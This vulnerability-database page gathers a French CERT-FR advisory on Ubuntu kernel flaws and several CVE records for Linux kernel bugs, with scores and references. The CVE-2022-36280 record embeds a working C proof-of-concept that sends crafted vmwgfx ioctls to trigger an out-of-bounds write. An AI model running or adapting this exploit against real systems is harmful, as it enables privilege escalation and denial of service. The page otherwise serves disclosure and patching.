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CERTFR-2023-AVI-0192
Vulnerability from certfr_avis - Published: - Updated:
De multiples vulnérabilités ont été corrigées dans le noyau Linux d'Ubuntu. Elles permettent à un attaquant de provoquer un déni de service à distance, une exécution de code arbitraire à distance, une atteinte à la confidentialité des données et une atteinte à l'intégrité des données.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
References
| Title | Publication Time | Tags | |||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Ubuntu 22.10",
"product": {
"name": "Ubuntu",
"vendor": {
"name": "Ubuntu",
"scada": false
}
}
},
{
"description": "Ubuntu 20.04 LTS",
"product": {
"name": "Ubuntu",
"vendor": {
"name": "Ubuntu",
"scada": false
}
}
},
{
"description": "Ubuntu 14.04 ESM",
"product": {
"name": "Ubuntu",
"vendor": {
"name": "Ubuntu",
"scada": false
}
}
},
{
"description": "Ubuntu 22.04 LTS",
"product": {
"name": "Ubuntu",
"vendor": {
"name": "Ubuntu",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2022-3707",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3707"
},
{
"name": "CVE-2022-47521",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-47521"
},
{
"name": "CVE-2022-47520",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-47520"
},
{
"name": "CVE-2022-45934",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-45934"
},
{
"name": "CVE-2023-0461",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-0461"
},
{
"name": "CVE-2023-23454",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-23454"
},
{
"name": "CVE-2022-47929",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-47929"
},
{
"name": "CVE-2022-3628",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3628"
},
{
"name": "CVE-2022-4379",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-4379"
},
{
"name": "CVE-2022-42329",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-42329"
},
{
"name": "CVE-2023-23455",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-23455"
},
{
"name": "CVE-2022-42703",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-42703"
},
{
"name": "CVE-2022-47518",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-47518"
},
{
"name": "CVE-2023-0266",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-0266"
},
{
"name": "CVE-2023-20928",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-20928"
},
{
"name": "CVE-2022-42895",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-42895"
},
{
"name": "CVE-2022-43750",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-43750"
},
{
"name": "CVE-2022-3435",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3435"
},
{
"name": "CVE-2022-3567",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3567"
},
{
"name": "CVE-2022-3169",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3169"
},
{
"name": "CVE-2022-45869",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-45869"
},
{
"name": "CVE-2022-36280",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-36280"
},
{
"name": "CVE-2022-41218",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41218"
},
{
"name": "CVE-2022-41849",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41849"
},
{
"name": "CVE-2022-3344",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3344"
},
{
"name": "CVE-2022-42896",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-42896"
},
{
"name": "CVE-2023-0179",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-0179"
},
{
"name": "CVE-2023-0210",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-0210"
},
{
"name": "CVE-2023-0469",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-0469"
},
{
"name": "CVE-2022-3649",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3649"
},
{
"name": "CVE-2022-3545",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3545"
},
{
"name": "CVE-2022-41850",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41850"
},
{
"name": "CVE-2022-43945",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-43945"
},
{
"name": "CVE-2022-42328",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-42328"
},
{
"name": "CVE-2022-3565",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3565"
},
{
"name": "CVE-2022-3640",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3640"
},
{
"name": "CVE-2022-36879",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-36879"
},
{
"name": "CVE-2022-47519",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-47519"
},
{
"name": "CVE-2023-0045",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-0045"
},
{
"name": "CVE-2022-20566",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-20566"
},
{
"name": "CVE-2022-4139",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-4139"
},
{
"name": "CVE-2022-3521",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3521"
},
{
"name": "CVE-2023-0468",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-0468"
}
],
"links": [],
"reference": "CERTFR-2023-AVI-0192",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2023-03-03T00:00:00.000000"
}
],
"risks": [
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "Atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es"
},
{
"description": "D\u00e9ni de service"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 corrig\u00e9es dans \u003cspan\nclass=\"textit\"\u003ele noyau Linux d\u0027Ubuntu\u003c/span\u003e. Elles permettent \u00e0 un\nattaquant de provoquer un d\u00e9ni de service \u00e0 distance, une ex\u00e9cution de\ncode arbitraire \u00e0 distance, une atteinte \u00e0 la confidentialit\u00e9 des\ndonn\u00e9es et une atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans le noyau Linux d\u0027Ubuntu",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-5911-1 du 02 mars 2023",
"url": "https://ubuntu.com/security/notices/USN-5911-1"
},
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-5914-1 du 03 mars 2023",
"url": "https://ubuntu.com/security/notices/USN-5914-1"
},
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-5912-1 du 02 mars 2023",
"url": "https://ubuntu.com/security/notices/USN-5912-1"
},
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-5913-1 du 03 mars 2023",
"url": "https://ubuntu.com/security/notices/USN-5913-1"
},
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-5916-1 du 03 mars 2023",
"url": "https://ubuntu.com/security/notices/USN-5916-1"
},
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-5915-1 du 03 mars 2023",
"url": "https://ubuntu.com/security/notices/USN-5915-1"
},
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-5909-1 du 02 mars 2023",
"url": "https://ubuntu.com/security/notices/USN-5909-1"
}
]
}
CVE-2022-20566 (GCVE-0-2022-20566)
Vulnerability from cvelistv5 – Published: 2022-12-16 00:00 – Updated: 2025-04-21 13:05
VLAI
EPSS
Summary
In l2cap_chan_put of l2cap_core, there is a possible use after free due to improper locking. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-165329981References: Upstream kernel
Severity
7.8 (High)
CWE
- Elevation of privilege
Assigner
References
1 reference
{
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"references": [
{
"tags": [
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],
"url": "https://source.android.com/security/bulletin/pixel/2022-12-01"
}
],
"title": "CVE Program Container"
},
{
"metrics": [
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"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
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"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
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"other": {
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"timestamp": "2025-04-21T13:04:29.660645Z",
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"problemTypes": [
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"descriptions": [
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"cweId": "CWE-416",
"description": "CWE-416 Use After Free",
"lang": "en",
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},
{
"descriptions": [
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"cweId": "CWE-667",
"description": "CWE-667 Improper Locking",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-04-21T13:05:26.287Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "Android",
"vendor": "n/a",
"versions": [
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"status": "affected",
"version": "Android kernel"
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"value": "In l2cap_chan_put of l2cap_core, there is a possible use after free due to improper locking. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-165329981References: Upstream kernel"
}
],
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"shortName": "google_android"
},
"references": [
{
"url": "https://source.android.com/security/bulletin/pixel/2022-12-01"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "baff130e-b8d5-4e15-b3d3-c3cf5d5545c6",
"assignerShortName": "google_android",
"cveId": "CVE-2022-20566",
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"dateReserved": "2021-10-14T00:00:00.000Z",
"dateUpdated": "2025-04-21T13:05:26.287Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2022-3169 (GCVE-0-2022-3169)
Vulnerability from cvelistv5 – Published: 2022-09-09 00:00 – Updated: 2024-08-03 01:00
VLAI
EPSS
Summary
A flaw was found in the Linux kernel. A denial of service flaw may occur if there is a consecutive request of the NVME_IOCTL_RESET and the NVME_IOCTL_SUBSYS_RESET through the device file of the driver, resulting in a PCIe link disconnect.
Severity
No CVSS data available.
CWE
Assigner
References
2 references
{
"containers": {
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"dateUpdated": "2024-08-03T01:00:10.578Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
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"references": [
{
"tags": [
"x_transferred"
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"url": "https://bugzilla.kernel.org/show_bug.cgi?id=214771"
},
{
"name": "[debian-lts-announce] 20221222 [SECURITY] [DLA 3244-1] linux-5.10 security update",
"tags": [
"mailing-list",
"x_transferred"
],
"url": "https://lists.debian.org/debian-lts-announce/2022/12/msg00031.html"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "Kernel",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "4.19"
}
]
}
],
"descriptions": [
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}
],
"problemTypes": [
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"tags": [
"mailing-list"
],
"url": "https://lists.debian.org/debian-lts-announce/2022/12/msg00031.html"
}
]
}
},
"cveMetadata": {
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"dateUpdated": "2024-08-03T01:00:10.578Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
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}
CVE-2022-3344 (GCVE-0-2022-3344)
Vulnerability from cvelistv5 – Published: 2022-10-24 00:00 – Updated: 2025-05-07 14:17
VLAI
EPSS
Summary
A flaw was found in the KVM's AMD nested virtualization (SVM). A malicious L1 guest could purposely fail to intercept the shutdown of a cooperative nested guest (L2), possibly leading to a page fault and kernel panic in the host (L0).
Severity
5.5 (Medium)
CWE
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| n/a | Linux kernel |
Affected:
Affected versions <= 6.0.3
|
{
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"dateUpdated": "2024-08-03T01:07:06.537Z",
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"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2130278"
}
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"title": "CVE Program Container"
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"metrics": [
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"cvssV3_1": {
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"scope": "UNCHANGED",
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"version": "3.1"
}
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"id": "CVE-2022-3344",
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"Exploitation": "none"
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"Technical Impact": "partial"
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"role": "CISA Coordinator",
"timestamp": "2025-05-07T14:16:33.272610Z",
"version": "2.0.3"
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"providerMetadata": {
"dateUpdated": "2025-05-07T14:17:21.111Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "Linux kernel",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "Affected versions \u003c= 6.0.3"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in the KVM\u0027s AMD nested virtualization (SVM). A malicious L1 guest could purposely fail to intercept the shutdown of a cooperative nested guest (L2), possibly leading to a page fault and kernel panic in the host (L0)."
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],
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"references": [
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"url": "https://lore.kernel.org/lkml/20221020093055.224317-5-mlevitsk%40redhat.com/T/"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2130278"
}
]
}
},
"cveMetadata": {
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"datePublished": "2022-10-24T00:00:00.000Z",
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"dateUpdated": "2025-05-07T14:17:21.111Z",
"state": "PUBLISHED"
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CVE-2022-3435 (GCVE-0-2022-3435)
Vulnerability from cvelistv5 – Published: 2022-10-08 00:00 – Updated: 2025-04-15 13:46
VLAI
EPSS
Title
Linux Kernel IPv4 fib_semantics.c fib_nh_match out-of-bounds
Summary
A vulnerability classified as problematic has been found in Linux Kernel. This affects the function fib_nh_match of the file net/ipv4/fib_semantics.c of the component IPv4 Handler. The manipulation leads to out-of-bounds read. It is possible to initiate the attack remotely. It is recommended to apply a patch to fix this issue. The identifier VDB-210357 was assigned to this vulnerability.
Severity
4.3 (Medium)
CWE
- CWE-119 - Memory Corruption -> CWE-125 Out-of-Bounds Read
Assigner
References
6 references
| URL | Tags |
|---|---|
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| https://lists.fedoraproject.org/archives/list/pac… | vendor-advisory |
| https://lists.debian.org/debian-lts-announce/2022… | mailing-list |
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CVE-2022-3521 (GCVE-0-2022-3521)
Vulnerability from cvelistv5 – Published: 2022-10-16 00:00 – Updated: 2025-04-15 13:44
VLAI
EPSS
Title
Linux Kernel kcm kcmsock.c kcm_tx_work race condition
Summary
A vulnerability has been found in Linux Kernel and classified as problematic. This vulnerability affects the function kcm_tx_work of the file net/kcm/kcmsock.c of the component kcm. The manipulation leads to race condition. It is recommended to apply a patch to fix this issue. VDB-211018 is the identifier assigned to this vulnerability.
Severity
CWE
- CWE-362 - Race Condition
Assigner
References
4 references
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CVE-2022-3545 (GCVE-0-2022-3545)
Vulnerability from cvelistv5 – Published: 2022-10-17 00:00 – Updated: 2025-04-15 13:43
VLAI
EPSS
Title
Linux Kernel IPsec nfp_cppcore.c area_cache_get use after free
Summary
A vulnerability has been found in Linux Kernel and classified as critical. Affected by this vulnerability is the function area_cache_get of the file drivers/net/ethernet/netronome/nfp/nfpcore/nfp_cppcore.c of the component IPsec. The manipulation leads to use after free. It is recommended to apply a patch to fix this issue. The identifier VDB-211045 was assigned to this vulnerability.
Severity
5.5 (Medium)
CWE
- CWE-119 - Memory Corruption -> CWE-416 Use After Free
Assigner
References
6 references
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CVE-2022-3565 (GCVE-0-2022-3565)
Vulnerability from cvelistv5 – Published: 2022-10-17 00:00 – Updated: 2024-08-03 01:14
VLAI
EPSS
Title
Linux Kernel Bluetooth l1oip_core.c del_timer use after free
Summary
A vulnerability, which was classified as critical, has been found in Linux Kernel. Affected by this issue is the function del_timer of the file drivers/isdn/mISDN/l1oip_core.c of the component Bluetooth. The manipulation leads to use after free. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-211088.
Severity
4.6 (Medium)
CWE
- CWE-119 - Memory Corruption -> CWE-416 Use After Free
Assigner
References
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CVE-2022-3567 (GCVE-0-2022-3567)
Vulnerability from cvelistv5 – Published: 2022-10-17 00:00 – Updated: 2025-04-15 13:26
VLAI
EPSS
Title
Linux Kernel IPv6 inet6_dgram_ops race condition
Summary
A vulnerability has been found in Linux Kernel and classified as problematic. This vulnerability affects the function inet6_stream_ops/inet6_dgram_ops of the component IPv6 Handler. The manipulation leads to race condition. It is recommended to apply a patch to fix this issue. VDB-211090 is the identifier assigned to this vulnerability.
Severity
4.6 (Medium)
CWE
- CWE-362 - Race Condition
Assigner
References
2 references
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CVE-2022-3628 (GCVE-0-2022-3628)
Vulnerability from cvelistv5 – Published: 2023-01-12 00:00 – Updated: 2025-04-08 14:16
VLAI
EPSS
Summary
A buffer overflow flaw was found in the Linux kernel Broadcom Full MAC Wi-Fi driver. This issue occurs when a user connects to a malicious USB device. This can allow a local user to crash the system or escalate their privileges.
Severity
6.6 (Medium)
CWE
Assigner
References
1 reference
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CVE-2022-36280 (GCVE-0-2022-36280)
Vulnerability from cvelistv5 – Published: 2022-09-09 14:39 – Updated: 2024-09-17 00:01
VLAI
EPSS
Title
There is an out-of-bounds write vulnerability in vmwgfx driver
Summary
An out-of-bounds(OOB) memory access vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_kms.c in GPU component in the Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).
Severity
6.3 (Medium)
CWE
- CWE-120 - Buffer Overflow
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://bugzilla.openanolis.cn/show_bug.cgi?id=2071 | |
| https://www.debian.org/security/2023/dsa-5324 | vendor-advisory |
| https://lists.debian.org/debian-lts-announce/2023… | mailing-list |
| https://lists.debian.org/debian-lts-announce/2023… | mailing-list |
Impacted products
Date Public
2022-09-06 00:00
Credits
Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab
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"value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n {\n printf(\"open tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n \n}\nvoid poc(int handle,int sid){\nchar *vaddr=(unsigned long)mmap(NULL,\n 0x2000,\n PROT_READ | PROT_WRITE,\n MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE /* important */,\n-1, 0);\n\t\n\t if (mlock((void *)vaddr, 0x2000) == -1) {\n printf(\"[-] failed to lock memory (%s), aborting!\\n\",\n strerror(errno));\n }\n \n memset(vaddr,\"a\",0x2000); \nint cmd[0x1000]={0};\ncmd[0]=1044;\ncmd[1]=0x50;\ncmd[2]=handle;\ncmd[3]=0;\ncmd[5]=sid;\ncmd[6]=0;\ncmd[7]=0;\ncmd[13]=1;\ncmd[12]=0x2000;\ncmd[14]=1;\ncmd[19]=12;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=1; \n if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n\n}\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n return arg[2]; \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint handle=alloc_bo();\n int sid = create_surface(); \n printf(\"%d\",sid); \n poc(handle,sid); \n \n}"
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Loading…
Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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